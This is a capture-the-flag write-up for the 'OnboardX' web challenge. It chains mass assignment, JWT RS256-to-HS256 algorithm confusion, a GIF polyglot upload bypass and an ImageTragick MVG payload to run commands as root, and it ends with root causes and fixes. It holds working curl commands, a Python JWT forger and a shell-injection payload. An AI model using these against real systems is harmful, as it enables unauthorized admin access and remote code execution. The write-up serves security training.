OnboardX: Mass Assignment → JWT Confusion → ImageTragick RCE

Flag: KPMG_CTF{DUTemNxJVLdzE1HlVuXy5CIMqgpeL8cN0eg2_jAEjAm_}

Target: http://kicyber-2f77350d6c4b-onboardx-0-0.chals.io Category: Web (Flask/gunicorn) / mass assignment + JWT alg-confusion + ImageMagick RCE Hint (from KPMG CTF): “if you can onboard yourself, why do u need an HR/Admin”

Overview

OnboardX is an employee-onboarding portal. New self-registered accounts are “pending HR approval”; approved employees get a JWT (token cookie, RS256 via JWKS); an HR/admin panel generates employee ID cards by running ImageMagick on an uploaded photo.

The flag falls out of a four-bug chain:

  1. Mass assignment: PATCH /api/user/me lets a pending user set is_approved and role on their own record (“onboard yourself”).
  2. JWT algorithm confusion (RS256→HS256): /admin trusts the role claim in the JWT, and the verifier accepts an HS256 token signed with the RSA public key (from JWKS) as the HMAC secret.
  3. Weak upload validation: the avatar uploader accepts anything with an allowed extension and matching magic bytes, so a GIF89a-prefixed polyglot sails through (and the error leaks the absolute storage path).
  4. ImageTragick (CVE-2016-3714): the ID-card generator shells out to ImageMagick 6 (convert <avatar> … <out>); a GIF-magic MVG with a URL delegate yields command execution as root.

Recon

Homepage HTML comment points at an admin area:

<!-- TODO(dave): retire the legacy PHP admin panel once everyone is migrated
     to the new /admin dashboard. -mgmt -->

/static/js/main.js reveals the API base and a JWKS/auth hint (and a deliberately dead “staging API key”):

const API_BASE = "/api";          // + fetch(`${API_BASE}/auth/public-key`)

GET /api documents the surface:

{"endpoints":{
  "GET  /api/user/me":"Return the authenticated user profile fields",
  "PATCH /api/user/me":"Update editable profile fields (JSON body)",
  "GET  /settings/export":"Queue a personal data export",
  "GET  /.well-known/jwks.json":"JSON Web Key Set used to publish JWT verification keys"},
 "auth":"Approved users use the token cookie issued at /login. Pending users use the temporary session until approval. JWT verification keys are published through JWKS.",
 "note":"Admin endpoints are not listed here. Discover them through the UI."}

Register + log in → pending users get a session cookie ({"pending_user_id":4}), not a JWT:

base="https://kicyber-2f77350d6c4b-onboardx-0-0.chals.io"
U="alice_$RANDOM"
curl -s -c ob.txt -b ob.txt -X POST "$base/register" --data "username=$U&password=<password>" -o /dev/null
curl -s -i -c ob.txt -b ob.txt -X POST "$base/login" --data "username=$U&password=<password>" | grep -i set-cookie
curl -s -b ob.txt "$base/api/user/me"
# {"avatar_path":"","bio":"","display_name":"alice_...","id":4,"is_approved":false,"role":"user",...}

Step 1: Mass assignment (self-onboard)

PATCH /api/user/me honours is_approved and role straight from the JSON body:

curl -s -b ob.txt -X PATCH "$base/api/user/me" -H 'Content-Type: application/json' \
  --data '{"is_approved":true,"role":"admin"}'
# {"...","is_approved":true,"role":"admin",...}

Step 2: JWT RS256→HS256 confusion → /admin

Re-logging in now issues the JWT token cookie, but its role claim is "user", and /admin gates on the claim, not the DB:

# token payload: {"sub":4,"username":"alice_...","role":"user","iat":...,"exp":...}
curl -s -b ob.txt "$base/admin"      # {"error":"forbidden"}

The JWKS publishes the RS256 public key:

curl -s "$base/.well-known/jwks.json"
# {"keys":[{"alg":"RS256","kid":"prod-rsa-key-2026","kty":"RSA","n":"tg3SJ3m8...","e":"AQAB",...}]}

Classic algorithm confusion: rebuild the public key, then sign an HS256 token (claiming role:admin) using the PEM public key as the HMAC secret:

import base64,hashlib,hmac,json,time
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives import serialization
n="tg3SJ3m8...";e="AQAB"
b64d=lambda s:base64.urlsafe_b64decode(s+'='*(-len(s)%4))
pub=RSAPublicNumbers(int.from_bytes(b64d(e),'big'),int.from_bytes(b64d(n),'big')).public_key()
pem=pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)  # keep trailing \n
b64u=lambda b:base64.urlsafe_b64encode(b).rstrip(b'=').decode()
now=int(time.time())
h=b64u(b'{"alg":"HS256","typ":"JWT","kid":"prod-rsa-key-2026"}')
p=b64u(json.dumps({"sub":4,"username":"alice_8922","role":"admin","iat":now,"exp":now+86400},separators=(',',':')).encode())
sig=b64u(hmac.new(pem,f"{h}.{p}".encode(),hashlib.sha256).digest())
print(f"{h}.{p}.{sig}")

The key detail that mattered: the HMAC secret is the SPKI PEM with its trailing newline (the nonl and PKCS#1 variants returned 403). With that token:

curl -s -b "token=$FORGED" "$base/admin"      # 200: HR Review Queue

The admin page exposes the ID-card generator:

fetch(`/admin/idcard/${id}`, { method: 'POST' })   // returns {status, stderr, preview_url?}

Step 3: Weak avatar upload (GIF polyglot + path leak)

avatar_path is not mass-assignable; it’s set by POST /profile (multipart upload). Probing the validator:

up(){ curl -s -b "token=$FORGED" -X POST "$base/profile" -F "avatar=@$1;filename=$2;type=$3"; }
up x.svg up.svg image/svg+xml   # "Unsupported file type."        (extension blocked)
up x.mvg up.png  image/png      # "File does not look like a valid image."  (magic checked)
printf 'GIF89a<svg>...</svg>' > poly.gif
up poly.gif up.gif image/gif    # ACCEPTED

So validation = allowed extension + leading magic bytes only (no full parse). The rejection page also leaks the absolute path:

Stored image path: /app/app/static/uploads/4_<uuid>.gif

Avatars are served at /static/uploads/<name>.

Step 4: ImageTragick RCE (SOLVED)

Forcing a malformed-GIF generation reveals the command and confirms ImageMagick (X-Powered-By: ImageMagick/6):

curl -s -b "token=$FORGED" -X POST "$base/admin/idcard/4"
# {"status":"error","stderr":"convert: ... `/app/app/static/uploads/4_<uuid>.gif' ...
#   convert: no images defined `/app/app/static/uploads/idcard_4_<uuid>.png' ..."}

→ convert <avatar> [ops] /app/app/static/uploads/idcard_4_<uuid>.png on ImageMagick 6. Since the avatar content is attacker-controlled (GIF magic bypasses validation), use an MVG ImageTragick payload with a URL delegate for command execution, exfiltrating into the web-served uploads dir:

MARK="pwn_$RANDOM"
cat > ex.gif <<EOF
GIF89a
push graphic-context
viewbox 0 0 1 1
fill 'url(https://127.0.0.1/x.jpg"|(id; ls -la /; cat /flag* /flag.txt 2>/dev/null) > /app/app/static/uploads/$MARK.txt")'
pop graphic-context
EOF
curl -s -b "token=$FORGED" -X POST "$base/profile" -F "avatar=@ex.gif;filename=e.gif;type=image/gif" -o /dev/null
curl -s -b "token=$FORGED" -X POST "$base/admin/idcard/4" -o /dev/null   # triggers convert
curl -s "$base/static/uploads/$MARK.txt"

Output:

uid=0(root) gid=0(root) groups=0(root)
...
-r--r--r-- 1 root root 55 ... flag.txt
...
KPMG_CTF{DUTemNxJVLdzE1HlVuXy5CIMqgpeL8cN0eg2_jAEjAm_}

Flag: KPMG_CTF{DUTemNxJVLdzE1HlVuXy5CIMqgpeL8cN0eg2_jAEjAm_} (code execution as root).

Why it works

  • Mass assignment: PATCH /api/user/me binds request JSON onto the user model with no allow-list, so privilege fields (role, is_approved) are client-settable.
  • JWT alg confusion: the verifier doesn’t pin the algorithm to RS256, so an HS256 token verifies against the public key used as a symmetric secret, and /admin trusts the signed role claim, which the attacker now controls.
  • Upload bypass: checking only extension + magic bytes lets a GIF89a prefix carry an arbitrary payload; ImageMagick then processes attacker-controlled bytes.
  • ImageTragick: ImageMagick 6’s MVG/SVG url() delegate passes unsanitised data to a shell, giving RCE; running as root makes /flag.txt trivially readable.

Root cause & fix

  • Allow-list editable fields server-side; never bind role/is_approved from user input, and derive authorization from server state, not a self-asserted JWT claim.
  • Pin JWT algorithms to RS256 and reject HS256 (and none); verify with the public key only under the expected algorithm.
  • Validate uploads by full decode/re-encode (not magic bytes), strip to a safe canonical image, and don’t leak absolute paths in errors.
  • Patch/retire ImageMagick 6, disable risky coders/delegates via policy.xml (MVG/MSL/URL/HTTPS/text/label), run the converter unprivileged and sandboxed, and never pass user-controlled files to convert without a hardened policy.

Takeaways

  • Chain the mundane: a mass-assignment self-approve + an auth-claim trust bug gets you to admin before any “real” exploit.
  • For JWT+JWKS apps, always try RS256→HS256 confusion with the published public key, and test PEM encoding variants (SPKI vs PKCS#1, trailing newline) since the exact bytes matter.
  • A returned stderr field screams subprocess; force an error to learn the command, and check the engine banner (X-Powered-By: ImageMagick/6).
  • Magic-byte-only upload checks are defeated by polyglots; prefix the allowed magic and smuggle the real payload.